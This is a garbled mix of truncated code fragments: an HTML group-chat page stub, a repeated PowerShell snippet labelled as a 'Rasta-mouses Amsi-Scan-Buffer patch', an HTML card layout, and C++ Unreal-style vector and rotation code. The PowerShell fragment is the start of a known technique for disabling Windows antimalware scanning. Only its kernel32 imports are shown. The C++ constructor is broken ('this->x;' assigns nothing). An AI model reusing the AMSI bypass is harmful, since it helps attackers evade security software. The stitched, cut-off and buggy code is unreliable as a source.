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<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Group Chat</title> | |
<script> | |
// Function to initialize WebSocket connection | |
function initWebSocket() { | |
// WebSocket connection URL |
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#Rasta-mouses Amsi-Scan-Buffer patch \n | |
$ynfhj = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class ynfhj { | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] |
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#Rasta-mouses Amsi-Scan-Buffer patch \n | |
$ynfhj = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class ynfhj { | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] |
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<div class="row"> | |
<div class="card">1</div> | |
<div class="card">2</div> | |
<div class="card">3</div> | |
</div> |
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class FVector | |
{ | |
public: | |
float x, y, z; | |
FVector() {}; | |
FVector(float x, float y, float z) | |
{ | |
this->x; |
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#define UCONST_Pi 3.1415926 | |
#define URotation180 32768 | |
#define URotationToRadians UCONST_Pi / URotation180 | |
#define CONST_DegToUnrRot 182.0444 | |
#define CONST_RadToUnrRot 10430.3783504704527 | |
FVector RotationToVector(FRotator R) | |
{ | |
FVector Vec; | |
float fYaw = R.yaw * URotationToRadians; |